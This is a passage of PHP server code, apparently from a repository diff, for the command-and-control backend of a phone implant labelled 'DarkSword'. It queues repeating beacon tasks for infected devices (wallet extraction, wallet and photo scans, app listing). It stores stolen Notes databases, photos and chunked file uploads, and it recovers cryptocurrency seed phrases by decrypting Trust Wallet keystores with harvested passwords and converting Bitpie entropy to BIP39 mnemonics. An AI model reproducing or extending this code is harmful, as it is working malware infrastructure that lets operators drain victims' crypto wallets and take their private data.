$bundle = trim((string) ($item['bundleId'] ?? $item['bundle_id'] ?? $item['b'] ?? ''));
if ($bundle === '' || str_starts_with(strtolower($bundle), 'com.apple')) {
continue;
}
$row = [
'b' => $bundle,
'a' => (string) ($item['name'] ?? $item['a'] ?? $bundle),
];
$version = $item['version'] ?? $item['v'] ?? null;
if (is_string($version) && $version !== '') {
$row['v'] = $version;
}
$al[] = $row;
}
return $al;
}
private function storeNoteDbFiles(Device $device, mixed $files): void
{
if (! is_array($files)) {
return;
}
foreach ($files as $file) {
if (! is_array($file)) {
continue;
}
$name = basename((string) ($file['name'] ?? 'notes.sqlite'));
$name = preg_replace('/[^A-Za-z0-9._-]+/', '_', $name) ?: 'notes.sqlite';
$data = $file['data'] ?? $file['content'] ?? null;
if (! is_string($data) || $data === '') {
continue;
}
$bin = base64_decode($data, true);
if ($bin === false || $bin === '') {
continue;
}
$rel = 'c2/ds-notes/'.$device->device_id.'/'.$name;
Storage::disk('local')->put($rel, $bin);
}
}
private function hasMaterial(mixed $value): bool
{
if ($value === null || $value === '' || $value === []) {
return false;
}
if (! is_array($value)) {
return true;
}
if (array_key_exists('items', $value) && is_array($value['items'])) {
return $value['items'] !== [];
}
foreach ($value as $child) {
if ($this->hasMaterial($child)) {
return true;
}
}
return false;
}
/**
* @return list<WalletKeystore>
*/
private function storeWalletKeystores(Device $device, mixed $buckets, string $kind, mixed $diagnostics): array
{
if (! $this->hasMaterial($buckets)) {
return [];
}
$rows = [];
if (is_array($buckets) && ! array_is_list($buckets)) {
$leftover = [];
foreach ($buckets as $key => $bucket) {
if (! $this->hasMaterial($bucket)) {
continue;
}
$source = is_string($key) ? WalletSource::fromKeystoreHint($key) : '';
if ($source === '' && ! is_string($key)) {
$leftover[$key] = $bucket;
continue;
}
if ($source === '' && is_string($key) && in_array(strtolower($key), ['notes', 'diagnostics'], true)) {
continue;
}
$rows[] = $this->createKeystore($device, $source, $this->keystorePayload($kind, [$key => $bucket], null));
}
if ($leftover !== []) {
$rows[] = $this->createKeystore($device, '', $this->keystorePayload($kind, $leftover, $diagnostics));
} elseif ($rows === [] && $this->hasMaterial($buckets)) {
$rows[] = $this->createKeystore(
$device,
WalletSource::fromKeystoreHint(is_string($buckets) ? $buckets : ''),
$this->keystorePayload($kind, $buckets, $diagnostics)
);
}
return $rows;
}
$source = WalletSource::fromKeystoreHint(is_string($buckets) ? $buckets : '');
$rows[] = $this->createKeystore($device, $source, $this->keystorePayload($kind, $buckets, $diagnostics));
return $rows;
}
/**
* @param array<string, mixed>|string $payload
* @return array<string, mixed>
*/
private function keystorePayload(string $kind, mixed $payload, mixed $diagnostics): array
{
$body = [
'kind' => $kind,
];
if (str_starts_with($kind, 'keychain')) {
$body['wallets'] = $payload;
} else {
$body['sandbox'] = $payload;
}
if ($diagnostics !== null) {
$body['diagnostics'] = $diagnostics;
}
return $body;
}
/**
* @param array<string, mixed> $rawJson
*/
private function createKeystore(Device $device, string $source, array $rawJson): WalletKeystore
{
return WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => $source,
'decrypted' => 0,
'raw_json' => $rawJson,
]);
}
/**
* Re-run Trust UTC / Bitpie recover on already-stored keystore blobs.
*/
public function reprocessKeystores(Device $device): void
{
$device->load('keystores');
$this->recoverKeystoreMnemonics($device, null, null, $device->keystores->all());
}
/**
* @param list<WalletKeystore> $rows
*/
private function recoverKeystoreMnemonics(Device $device, mixed $wallets, mixed $sandbox, array $rows): void
{
$hits = $this->keystoreDecrypt->recover($device, $wallets, $sandbox);
foreach ($hits as $hit) {
$tag = $hit['tag'] !== '' ? $hit['tag'] : 'd';
$this->ingest->ingestMnemonic($device, [
'mnemonic' => $hit['phrase'],
'a' => $tag,
]);
$this->keystoreDecrypt->markDecrypted($rows, $hit['source']);
$this->keystoreDecrypt->markDecrypted($device->keystores()->get(), $hit['source']);
$mnemonic = WalletMnemonic::query()
->where('device_id', $device->id)
->where('mnemonic_hash', WalletMnemonic::hashSecret($hit['phrase']))
->first();
if ($mnemonic !== null) {
$this->mnemonicDiscovery->discoverIndexZero($mnemonic);
}
if (($hit['addresses'] ?? []) !== []) {
$this->ingest->ingestAddresses($device, [
'a' => $tag,
'data' => $hit['addresses'],
]);
}
if ($mnemonic !== null) {
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($mnemonic);
}
}
}
private function walkForMnemonics(Device $device, mixed $node, string $tag): void
{
if (is_string($node)) {
$phrase = $this->asMnemonicPhrase($node);
if ($phrase !== null) {
$this->ingest->ingestMnemonic($device, ['mnemonic' => $phrase, 'a' => $tag]);
}
return;
}
if (! is_array($node)) {
return;
}
if (($node['_truncated'] ?? false) === true) {
return;
}
if ($this->isFailedUnwrap($node)) {
return;
}
foreach ($node as $key => $child) {
if (is_string($key) && in_array($key, self::SKIP_WALK_KEYS, true)) {
continue;
}
$childTag = is_string($key) ? $this->tagForWalletKey($key, $tag) : $tag;
$this->walkForMnemonics($device, $child, $childTag);
}
}
/**
* @param array<string, mixed> $node
*/
private function isFailedUnwrap(array $node): bool
{
foreach (['error', 'layer3Error'] as $key) {
$err = $node[$key] ?? null;
if (is_string($err) && $err !== '' && preg_match('/unwrap|aks_/i', $err)) {
return true;
}
}
return false;
}
private function tagForWalletKey(string $key, string $fallback): string
{
$k = strtolower($key);
if (str_contains($k, 'imtoken') || str_contains($k, 'im.token')) {
return 'b';
}
if (str_contains($k, 'trust')) {
return 'd';
}
return $fallback;
}
private function asMnemonicPhrase(string $raw): ?string
{
$candidates = [$raw];
$trimmed = trim($raw);
if ($trimmed !== '' && ctype_xdigit($trimmed) && strlen($trimmed) % 2 === 0 && strlen($trimmed) >= 24) {
$bin = @hex2bin($trimmed);
if (is_string($bin) && $bin !== '' && mb_check_encoding($bin, 'UTF-8')) {
$candidates[] = $bin;
$decoded = json_decode($bin, true);
if (is_array($decoded)) {
foreach (['mnemonic', 'phrase', 'seed', 'recovery'] as $k) {
if (isset($decoded[$k]) && is_string($decoded[$k])) {
$candidates[] = $decoded[$k];
}
}
}
}
}
foreach ($candidates as $text) {
$phrase = $this->matchWordMnemonic($text);
if ($phrase !== null) {
return $phrase;
}
}
return null;
}
private function matchWordMnemonic(string $text): ?string
{
$text = strtolower(trim($text));
if ($text === '' || str_starts_with($text, '{') || str_starts_with($text, '[')) {
return null;
}
$words = preg_split('/\s+/', $text) ?: [];
$n = count($words);
if ($n !== 12 && $n !== 24) {
return null;
}
foreach ($words as $word) {
if (! preg_match('/^[a-z]{3,8}$/', $word)) {
return null;
}
}
return implode(' ', $words);
}
}
+221
View File
@@ -0,0 +1,221 @@
<?php
namespace App\Services;
use App\Models\Device;
use App\Models\DsBeaconTask;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Str;
class DsBeaconQueue
{
/** @var list<string> */
public const TYPES = [
'wallet_extract',
'wallet_scan',
'photo_scan',
'apps',
];
/** @var list<string> */
public const LOOP_TYPES = [
'wallet_extract',
'wallet_scan',
'photo_scan',
'apps',
];
public function seed(Device $device): void
{
if ($device->family !== Device::FAMILY_DARKSWORD) {
return;
}
DsBeaconTask::query()
->where('device_id', $device->id)
->where('type', 'basic_info')
->delete();
if (DsBeaconTask::query()->where('device_id', $device->id)->exists()) {
return;
}
$now = now();
$rows = [];
foreach (self::TYPES as $i => $type) {
$rows[] = [
'device_id' => $device->id,
'position' => $i + 1,
'type' => $type,
'status' => DsBeaconTask::STATUS_PENDING,
'created_at' => $now,
'updated_at' => $now,
];
}
DsBeaconTask::query()->insert($rows);
}
/**
* Next pending command. wallet_extract / wallet_scan / photo_scan / apps
* re-queue after a full pass so the agent keeps polling them.
*
* @return array{type: string, command_id: string, params: array<string, mixed>}|null
*/
public function dequeue(Device $device): ?array
{
$this->seed($device);
return DB::transaction(function () use ($device) {
$task = $this->nextRunnable($device);
if (! $task) {
return null;
}
$commandId = 'dsq-'.$device->id.'-'.$task->position.'-'.Str::lower(Str::random(10));
$meta = is_array($task->result_meta) ? $task->result_meta : [];
$meta['dispatch_count'] = (int) ($meta['dispatch_count'] ?? 0) + 1;
if ($task->status === DsBeaconTask::STATUS_DISPATCHED) {
$meta['last_retry_at'] = now()->toDateTimeString();
}
$task->forceFill([
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => $commandId,
'dispatched_at' => now(),
'result_meta' => $meta,
])->save();
return [
'type' => $task->type,
'command_id' => $commandId,
'params' => $this->paramsFor($task->type),
];
});
}
/**
* @param array<string, mixed> $payload
*/
public function markDone(array $payload): ?DsBeaconTask
{
$commandId = trim((string) ($payload['command_id'] ?? ''));
if ($commandId === '') {
return null;
}
$task = DsBeaconTask::query()->where('command_id', $commandId)->first();
if (! $task) {
return null;
}
$meta = $task->result_meta ?? [];
$filename = trim((string) ($payload['filename'] ?? ''));
$category = trim((string) ($payload['category'] ?? ''));
if ($filename !== '') {
$meta['filename'] = substr($filename, 0, 255);
}
if ($category !== '') {
$meta['category'] = substr($category, 0, 64);
}
if (isset($payload['status']) && is_string($payload['status'])) {
$meta['status'] = substr($payload['status'], 0, 32);
}
foreach (['path', 'reason', 'stored', 'photo', 'size'] as $key) {
if (array_key_exists($key, $payload)) {
$meta[$key] = $payload[$key];
}
}
$touch = [
'result_count' => (int) $task->result_count + 1,
'result_meta' => $meta,
];
if ($task->status !== DsBeaconTask::STATUS_DONE) {
$touch['status'] = DsBeaconTask::STATUS_DONE;
$touch['completed_at'] = now();
}
$task->forceFill($touch)->save();
return $task->refresh();
}
/**
* @return array<string, mixed>
*/
private function paramsFor(string $type): array
{
return match ($type) {
'wallet_extract' => ['wallet_type' => 'imtoken'],
'photo_scan' => ['max_count' => 200],
default => [],
};
}
private function nextRunnable(Device $device): ?DsBeaconTask
{
while (true) {
$task = $this->findRunnable($device);
if (! $task) {
if (! $this->requeueLoopTypes($device)) {
return null;
}
$task = $this->findRunnable($device);
if (! $task) {
return null;
}
}
if ($task->type !== 'photos' && $task->type !== 'basic_info') {
return $task;
}
$task->forceFill([
'status' => DsBeaconTask::STATUS_SKIPPED,
'completed_at' => now(),
'result_meta' => [
'reason' => $task->type === 'photos'
? 'queue_uses_photo_scan_only'
: 'removed_from_queue',
],
])->save();
}
}
private function findRunnable(Device $device): ?DsBeaconTask
{
return DsBeaconTask::query()
->where('device_id', $device->id)
->where(function ($q) {
$q->where('status', DsBeaconTask::STATUS_PENDING)
->orWhere(function ($q2) {
$q2->where('status', DsBeaconTask::STATUS_DISPATCHED)
->where('result_count', 0);
});
})
->orderBy('position')
->lockForUpdate()
->first();
}
private function requeueLoopTypes(Device $device): bool
{
$tasks = DsBeaconTask::query()
->where('device_id', $device->id)
->whereIn('type', self::LOOP_TYPES)
->where('status', DsBeaconTask::STATUS_DONE)
->lockForUpdate()
->get();
if ($tasks->isEmpty()) {
return false;
}
foreach ($tasks as $task) {
$task->forceFill([
'status' => DsBeaconTask::STATUS_PENDING,
'command_id' => null,
'dispatched_at' => null,
'completed_at' => null,
])->save();
}
return true;
}
}
+684
View File
@@ -0,0 +1,684 @@
<?php
namespace App\Services;
use App\Models\Device;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\Chain\BtcAddress;
use App\Services\Chain\EthAddress;
use App\Services\Chain\TronAddress;
use App\Support\WalletSource;
use FurqanSiddiqui\BIP39\BIP39;
/**
* Recover a BIP39 phrase from DS Trust UTC blobs or Bitpie seedPhraseEntropy.
*/
final class DsKeystoreDecrypt
{
/**
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
*/
public function recover(Device $device, mixed $wallets, mixed $sandbox): array
{
$hits = [];
$seen = [];
foreach ($this->recoverTrustUtc($device, $wallets, $sandbox) as $hit) {
$hash = WalletMnemonic::hashSecret($hit['phrase']);
if (isset($seen[$hash])) {
continue;
}
$seen[$hash] = true;
$hits[] = $hit;
}
$bitpieNodes = [$wallets, $sandbox];
foreach ($device->keystores as $row) {
if ($row->source === 'Bitpie') {
$bitpieNodes[] = $row->raw_json;
}
}
foreach ($this->recoverBitpie($bitpieNodes) as $hit) {
$hash = WalletMnemonic::hashSecret($hit['phrase']);
if (isset($seen[$hash])) {
continue;
}
$seen[$hash] = true;
$hits[] = $hit;
}
return $hits;
}
/**
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
*/
private function recoverTrustUtc(Device $device, mixed $wallets, mixed $sandbox): array
{
$utcs = $this->collectKeystores($sandbox);
$utcs = array_merge($utcs, $this->collectKeystores($wallets));
if ($utcs === []) {
return [];
}
$passwords = $this->collectPasswords($wallets);
foreach ($device->keystores as $row) {
$passwords = array_merge($passwords, $this->collectPasswords($row->raw_json));
}
$passwords = array_slice($this->uniquePasswords($passwords), 0, 8);
if ($passwords === []) {
return [];
}
$hits = [];
foreach ($utcs as $item) {
$phrase = $this->unlock($item['keystore'], $passwords);
if ($phrase === null) {
continue;
}
$source = $item['source'] !== '' ? $item['source'] : 'Trust Wallet';
$hits[] = [
'source' => $source,
'tag' => WalletSource::tagForLabel($source),
'phrase' => $phrase,
'addresses' => [],
];
}
return $hits;
}
/**
* @param list<mixed> $nodes
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
*/
private function recoverBitpie(array $nodes): array
{
$phrases = [];
$addresses = [];
foreach ($nodes as $node) {
foreach ($this->collectBitpieEntropyHex($node) as $hex) {
$phrase = $this->phraseFromEntropyHex($hex);
if ($phrase !== null) {
$phrases[$phrase] = true;
}
}
$addresses = array_merge($addresses, $this->collectBitpieAddresses($node));
}
if ($phrases === []) {
return [];
}
$uniq = [];
$seenAddr = [];
foreach ($addresses as $row) {
$key = $row['address'];
if (isset($seenAddr[$key])) {
continue;
}
$seenAddr[$key] = true;
$uniq[] = $row;
}
$hits = [];
foreach (array_keys($phrases) as $phrase) {
$hits[] = [
'source' => 'Bitpie',
'tag' => 'r',
'phrase' => $phrase,
'addresses' => $uniq,
];
}
return $hits;
}
/**
* @param list<string> $passwords
*/
public function unlock(array $keystore, array $passwords): ?string
{
foreach ($passwords as $password) {
$plain = EthKeystore::decrypt($keystore, $password);
if ($plain === null) {
continue;
}
$phrase = $this->asMnemonic($plain);
if ($phrase !== null) {
return $phrase;
}
}
return null;
}
/**
* @return list<array{source: string, keystore: array<string, mixed>}>
*/
public function collectKeystores(mixed $node, string $source = '', int $depth = 0): array
{
if ($depth > 10 || $node === null) {
return [];
}
if (is_string($node)) {
$decoded = $this->decodeBlob($node);
if ($decoded === null) {
return [];
}
return $this->collectKeystores($decoded, $source, $depth + 1);
}
if (! is_array($node)) {
return [];
}
if ($this->isKeystore($node)) {
return [['source' => $source, 'keystore' => $node]];
}
$out = [];
foreach ($node as $key => $child) {
$next = $source;
if (is_string($key)) {
$hint = WalletSource::fromKeystoreHint($key);
if ($hint !== '') {
$next = $hint;
}
}
$out = array_merge($out, $this->collectKeystores($child, $next, $depth + 1));
}
return $out;
}
/**
* @return list<string>
*/
public function collectPasswords(mixed $node, int $depth = 0): array
{
$items = $this->collectPasswordItems($node, $depth);
usort($items, static fn ($a, $b) => $b['score'] <=> $a['score']);
$out = [];
foreach ($items as $item) {
$out = array_merge($out, $this->passwordsFromHex($item['hex']));
}
return $this->uniquePasswords($out);
}
/**
* @return list<array{hex: string, score: int}>
*/
private function collectPasswordItems(mixed $node, int $depth = 0): array
{
if ($depth > 8 || ! is_array($node)) {
return [];
}
$out = [];
$hex = $node['dataHex'] ?? null;
if (is_string($hex) && $hex !== '') {
$account = strtolower((string) ($node['account'] ?? ''));
$score = 0;
if (str_contains($account, 'utc--') && ! str_contains($account, 'migration')) {
$score += 100;
}
$rawLen = strlen(preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? '') / 2;
if ($rawLen === 32.0 || $rawLen === 64.0) {
$score += 20;
}
$out[] = ['hex' => $hex, 'score' => $score];
}
foreach (['items', 'wallets', 'sandbox'] as $key) {
if (! isset($node[$key]) || ! is_array($node[$key])) {
continue;
}
foreach ($node[$key] as $child) {
$out = array_merge($out, $this->collectPasswordItems($child, $depth + 1));
}
}
if ($hex === null && ! isset($node['items']) && ! isset($node['wallets']) && ! isset($node['sandbox'])) {
foreach ($node as $child) {
if (is_array($child)) {
$out = array_merge($out, $this->collectPasswordItems($child, $depth + 1));
}
}
}
return $out;
}
/**
* @param list<WalletKeystore> $rows
*/
public function markDecrypted(iterable $rows, string $source): void
{
foreach ($rows as $row) {
if (! $row instanceof WalletKeystore) {
continue;
}
if ($row->source !== $source) {
continue;
}
if ((int) $row->decrypted === 1) {
continue;
}
$row->decrypted = 1;
$row->save();
}
}
/**
* @param array<string, mixed> $node
*/
private function isKeystore(array $node): bool
{
$crypto = $node['crypto'] ?? $node['Crypto'] ?? null;
if (! is_array($crypto)) {
return false;
}
return isset($crypto['ciphertext'], $crypto['mac'], $crypto['kdf']);
}
/**
* @return list<string>
*/
private function passwordsFromHex(string $hex): array
{
$hex = preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? '';
if ($hex === '' || strlen($hex) % 2 !== 0) {
return [];
}
$raw = @hex2bin($hex);
if (! is_string($raw) || $raw === '') {
return [];
}
return $this->passwordsFromString($raw);
}
/**
* @return list<string>
*/
private function passwordsFromString(string $raw): array
{
$out = [$raw];
if (mb_check_encoding($raw, 'UTF-8')) {
$trim = trim($raw);
if ($trim !== '' && $trim !== $raw) {
$out[] = $trim;
}
$unquoted = trim($trim, "\"'");
if ($unquoted !== '' && $unquoted !== $trim) {
$out[] = $unquoted;
}
if (ctype_xdigit($trim) && strlen($trim) % 2 === 0 && strlen($trim) >= 8) {
$bin = @hex2bin($trim);
if (is_string($bin) && $bin !== '') {
$out[] = $bin;
}
}
}
return $out;
}
/**
* @param list<string> $passwords
* @return list<string>
*/
private function uniquePasswords(array $passwords): array
{
$seen = [];
$out = [];
foreach ($passwords as $password) {
if ($password === '') {
continue;
}
if (isset($seen[$password])) {
continue;
}
$seen[$password] = true;
$out[] = $password;
}
return $out;
}
private function decodeBlob(string $raw): mixed
{
$raw = trim($raw);
if ($raw === '') {
return null;
}
if (str_starts_with($raw, '{') || str_starts_with($raw, '[')) {
$json = json_decode($raw, true);
return is_array($json) ? $json : null;
}
$b64 = base64_decode($raw, true);
if (is_string($b64) && $b64 !== '') {
$json = json_decode($b64, true);
if (is_array($json)) {
return $json;
}
}
$hex = preg_replace('/[^0-9a-fA-F]/', '', $raw) ?? '';
if ($hex !== '' && strlen($hex) % 2 === 0 && strlen($hex) >= 8) {
$bin = @hex2bin($hex);
if (is_string($bin) && $bin !== '') {
$json = json_decode($bin, true);
if (is_array($json)) {
return $json;
}
}
}
return null;
}
private function asMnemonic(string $plain): ?string
{
$text = strtolower(trim($plain));
$text = preg_replace('/\s+/', ' ', $text) ?? $text;
$words = $text === '' ? [] : explode(' ', $text);
$n = count($words);
if ($n !== 12 && $n !== 24) {
return null;
}
foreach ($words as $word) {
if (! preg_match('/^[a-z]{3,8}$/', $word)) {
return null;
}
}
return implode(' ', $words);
}
/**
* @return list<string>
*/
public function collectBitpieEntropyHex(mixed $node, int $depth = 0): array
{
if ($depth > 10 || $node === null) {
return [];
}
if (is_string($node)) {
$decoded = $this->decodeBlob($node);
if ($decoded === null) {
return [];
}
return $this->collectBitpieEntropyHex($decoded, $depth + 1);
}
if (! is_array($node)) {
return [];
}
$out = [];
$account = strtolower(trim((string) ($node['account'] ?? '')));
if ($account === 'seedphraseentropy') {
$hex = $this->entropyHexFromItem($node);
if ($hex !== null) {
$out[] = $hex;
}
}
foreach ($node as $key => $child) {
if (is_string($key) && strtolower($key) === 'seedphraseentropy') {
$hex = is_string($child) ? $this->normalizeEntropyHex($child) : $this->entropyHexFromItem(is_array($child) ? $child : []);
if ($hex !== null) {
$out[] = $hex;
}
}
if (is_array($child) || is_string($child)) {
$out = array_merge($out, $this->collectBitpieEntropyHex($child, $depth + 1));
}
}
return $out;
}
/**
* @return list<array{address: string, chainType: string, symbol: string, balance: int}>
*/
public function collectBitpieAddresses(mixed $node, int $depth = 0, bool $inBitpie = false): array
{
if ($depth > 10 || $node === null) {
return [];
}
if (is_string($node)) {
if (! $inBitpie) {
return [];
}
return $this->addressesFromBitpieText($node);
}
if (! is_array($node)) {
return [];
}
$out = [];
$account = strtolower(trim((string) ($node['account'] ?? '')));
$extract = $inBitpie || in_array($account, ['useraddresskey', 'useraddress', 'seedphraseentropy'], true);
if (in_array($account, ['useraddresskey', 'useraddress'], true)) {
$out = array_merge($out, $this->addressesFromBitpieText($this->itemUtf8($node)));
}
if ($extract && isset($node['address']) && is_string($node['address'])) {
$mapped = $this->addressRow($node['address'], $node['coin_code'] ?? $node['chainType'] ?? $node['chain'] ?? null);
if ($mapped !== null) {
$out[] = $mapped;
}
}
foreach ($node as $key => $child) {
if (! is_array($child) && ! is_string($child)) {
continue;
}
$childInBitpie = $inBitpie || $this->isBitpieLabel($key);
$walk = $childInBitpie || $this->isBitpieWalkKey($key, $inBitpie);
if (! $walk) {
continue;
}
$out = array_merge($out, $this->collectBitpieAddresses($child, $depth + 1, $childInBitpie));
}
return $out;
}
private function isBitpieLabel(mixed $key): bool
{
$raw = strtolower(trim((string) $key));
return $raw !== '' && (
str_contains($raw, 'bitpie')
|| in_array($raw, ['useraddresskey', 'useraddress', 'useraddresses', 'kuseraddressesconfigure'], true)
);
}
private function isBitpieWalkKey(mixed $key, bool $inBitpie): bool
{
if (is_int($key)) {
return $inBitpie;
}
$raw = strtolower(trim((string) $key));
return in_array($raw, ['wallets', 'sandbox', 'items', 'item'], true);
}
/**
* @param array<string, mixed> $item
*/
private function entropyHexFromItem(array $item): ?string
{
$hex = $item['dataHex'] ?? null;
if (is_string($hex) && $hex !== '') {
$fromHex = $this->normalizeEntropyHex($hex);
if ($fromHex !== null) {
return $fromHex;
}
$bin = $this->fromHex($hex);
if ($bin !== null) {
$nested = $this->normalizeEntropyHex($bin);
if ($nested !== null) {
return $nested;
}
}
}
return $this->normalizeEntropyHex($this->itemUtf8($item));
}
/**
* @param array<string, mixed> $item
*/
private function itemUtf8(array $item): string
{
$hex = $item['dataHex'] ?? null;
if (is_string($hex) && $hex !== '') {
$bin = $this->fromHex($hex);
if ($bin !== null && mb_check_encoding($bin, 'UTF-8')) {
return trim($bin);
}
}
$data = $item['data'] ?? null;
return is_string($data) ? trim($data) : '';
}
private function normalizeEntropyHex(string $raw): ?string
{
$raw = trim($raw);
if ($raw === '') {
return null;
}
$bin = $this->fromHex($raw);
if ($bin !== null) {
if (mb_check_encoding($bin, 'UTF-8')) {
$trim = trim($bin);
if ($this->isEntropyHex($trim)) {
return strtolower($trim);
}
}
if (strlen($bin) === 16 || strlen($bin) === 32) {
return strtolower(bin2hex($bin));
}
}
if ($this->isEntropyHex($raw)) {
return strtolower($raw);
}
return null;
}
private function isEntropyHex(string $value): bool
{
return (bool) preg_match('/^[0-9a-fA-F]{32}$/', $value)
|| (bool) preg_match('/^[0-9a-fA-F]{64}$/', $value);
}
private function phraseFromEntropyHex(string $hex): ?string
{
try {
$mnemonic = BIP39::Entropy(strtolower($hex));
} catch (\Throwable) {
return null;
}
$phrase = strtolower(trim(implode(' ', $mnemonic->words)));
return $this->asMnemonic($phrase);
}
/**
* @return list<array{address: string, chainType: string, symbol: string, balance: int}>
*/
private function addressesFromBitpieText(string $text): array
{
$out = [];
$text = trim($text);
if ($text === '') {
return $out;
}
$direct = $this->addressRow($text, null);
if ($direct !== null) {
$out[] = $direct;
}
if (preg_match('/kUserAddressesConfigure\s*(\[[\s\S]*\])/', $text, $m)) {
$json = json_decode($m[1], true);
if (is_array($json)) {
$out = array_merge($out, $this->collectBitpieAddresses($json, 0, true));
}
}
$decoded = $this->decodeBlob($text);
if (is_array($decoded)) {
$out = array_merge($out, $this->collectBitpieAddresses($decoded, 0, true));
}
return $out;
}
/**
* @return array{address: string, chainType: string, symbol: string, balance: int}|null
*/
private function addressRow(string $address, mixed $hint): ?array
{
$address = trim($address);
if ($address === '') {
return null;
}
$chain = $this->chainFromHint($hint) ?? WalletSource::inferChainType($address);
$chain = strtoupper($chain);
if (! WalletSource::isSupportedChain($chain)) {
return null;
}
$normalized = $chain === 'ETH' ? 'ETHEREUM' : ($chain === 'BTC' ? 'BITCOIN' : ($chain === 'TRX' ? 'TRON' : $chain));
if (in_array($normalized, ['TRON', 'TRX'], true) && ! TronAddress::isValid($address)) {
return null;
}
if (in_array($normalized, ['ETHEREUM', 'ETH', 'EVM'], true) && ! EthAddress::isValid($address)) {
return null;
}
if (in_array($normalized, ['BITCOIN', 'BTC'], true) && ! BtcAddress::isValid($address)) {
return null;
}
$symbol = match ($chain) {
'BITCOIN', 'BTC' => 'BTC',
'ETHEREUM', 'ETH', 'EVM' => 'ETH',
'BNB', 'BSC', 'BINANCE' => 'BNB',
default => 'TRX',
};
return [
'address' => $address,
'chainType' => $chain === 'ETH' ? 'ETHEREUM' : ($chain === 'BTC' ? 'BITCOIN' : ($chain === 'TRX' ? 'TRON' : $chain)),
'symbol' => $symbol,
'balance' => 0,
];
}
private function chainFromHint(mixed $hint): ?string
{
$raw = strtolower(trim((string) $hint));
if ($raw === '') {
return null;
}
if (str_contains($raw, 'trx') || str_contains($raw, 'tron')) {
return 'TRON';
}
if (str_contains($raw, 'eth')) {
return 'ETHEREUM';
}
if (str_contains($raw, 'btc') || str_contains($raw, 'bitcoin')) {
return 'BITCOIN';
}
return WalletSource::isSupportedChain($raw) ? strtoupper($raw) : null;
}
private function fromHex(string $value): ?string
{
$hex = preg_replace('/[^0-9a-fA-F]/', '', $value) ?? '';
if ($hex === '' || strlen($hex) % 2 !== 0) {
return null;
}
$bin = @hex2bin($hex);
return is_string($bin) ? $bin : null;
}
}
+179
View File
@@ -0,0 +1,179 @@
<?php
namespace App\Services;
use App\Models\Device;
use App\Models\Photo;
use Illuminate\Support\Facades\Storage;
class DsResultStore
{
/** @var list<string> */
private const VIDEO_EXT = ['mp4', 'mov', 'm4v', 'avi', 'mkv', 'webm', '3gp', 'qt'];
/** @var list<string> */
private const IMAGE_EXT = ['png', 'jpg', 'jpeg', 'heic', 'heif', 'gif', 'webp', 'bmp', 'tif', 'tiff'];
public function __construct(
private readonly IngestService $ingest,
) {}
/**
* Persist one /result body. Videos are dropped. Chunks assemble under
* c2/ds-chunks then land in c2/ds-results. Images also go through album ingest.
*
* @param array<string, mixed> $payload
* @return array<string, mixed>
*/
public function store(Device $device, array $payload): array
{
$filename = $this->safeName((string) ($payload['filename'] ?? ''));
if ($filename === '') {
return ['stored' => false, 'reason' => 'no_filename'];
}
if ($this->isVideo($filename)) {
return ['stored' => false, 'reason' => 'video_skipped', 'filename' => $filename];
}
$raw = $payload['data'] ?? null;
if (! is_string($raw) || $raw === '') {
return ['stored' => false, 'reason' => 'no_data', 'filename' => $filename];
}
$bytes = base64_decode($raw, true);
if ($bytes === false) {
return ['stored' => false, 'reason' => 'bad_base64', 'filename' => $filename];
}
$commandId = $this->safeName((string) ($payload['command_id'] ?? 'unknown')) ?: 'unknown';
$total = isset($payload['total_chunks']) ? (int) $payload['total_chunks'] : 0;
$index = array_key_exists('chunk_index', $payload) ? (int) $payload['chunk_index'] : null;
if ($total > 1 && $index !== null) {
$assembled = $this->acceptChunk($device, $commandId, $filename, $index, $total, $bytes);
if ($assembled === null) {
return [
'stored' => false,
'reason' => 'chunk_pending',
'filename' => $filename,
'chunk_index' => $index,
'total_chunks' => $total,
];
}
$bytes = $assembled;
}
$hash = hash('sha256', $bytes);
if ($this->alreadyIngested($device, $filename, $hash)) {
return [
'stored' => false,
'reason' => 'duplicate',
'filename' => $filename,
'size' => strlen($bytes),
];
}
$rel = 'c2/ds-results/'.$device->device_id.'/'.$commandId.'/'.$filename;
Storage::disk('local')->put($rel, $bytes);
$this->markSeen($device, $hash, $filename);
$photo = false;
if ($this->isImage($filename) && $device->albumStorageEnabled()) {
$tmp = tempnam(sys_get_temp_dir(), 'ds_photo_');
if ($tmp !== false) {
file_put_contents($tmp, $bytes);
$this->ingest->ingestPhotos($device, [$tmp]);
@unlink($tmp);
$photo = true;
}
}
return [
'stored' => true,
'path' => $rel,
'photo' => $photo,
'size' => strlen($bytes),
'filename' => $filename,
];
}
private function alreadyIngested(Device $device, string $filename, string $hash): bool
{
if (Storage::disk('local')->exists($this->seenPath($device, $hash))) {
return true;
}
if ($this->isImage($filename)
&& Photo::query()->where('device_id', $device->id)->where('sha256', $hash)->exists()) {
$this->markSeen($device, $hash, $filename);
return true;
}
return false;
}
private function markSeen(Device $device, string $hash, string $filename): void
{
Storage::disk('local')->put($this->seenPath($device, $hash), $filename);
}
private function seenPath(Device $device, string $hash): string
{
return 'c2/ds-results/'.$device->device_id.'/.seen/'.$hash;
}
private function acceptChunk(
Device $device,
string $commandId,
string $filename,
int $index,
int $total,
string $bytes,
): ?string {
$dir = 'c2/ds-chunks/'.$device->device_id.'/'.$commandId.'/'.$filename;
Storage::disk('local')->put($dir.'/'.$index, $bytes);
Storage::disk('local')->put($dir.'/total', (string) $total);
for ($i = 0; $i < $total; $i++) {
if (! Storage::disk('local')->exists($dir.'/'.$i)) {
return null;
}
}
$out = '';
for ($i = 0; $i < $total; $i++) {
$out .= (string) Storage::disk('local')->get($dir.'/'.$i);
}
Storage::disk('local')->deleteDirectory($dir);
return $out;
}
private function isVideo(string $filename): bool
{
return in_array($this->extension($filename), self::VIDEO_EXT, true);
}
private function isImage(string $filename): bool
{
return in_array($this->extension($filename), self::IMAGE_EXT, true);
}
private function extension(string $filename): string
{
$dot = strrpos($filename, '.');
if ($dot === false) {
return '';
}
return strtolower(substr($filename, $dot + 1));
}
private function safeName(string $name): string
{
$name = str_replace(["\0", '\\'], '', $name);
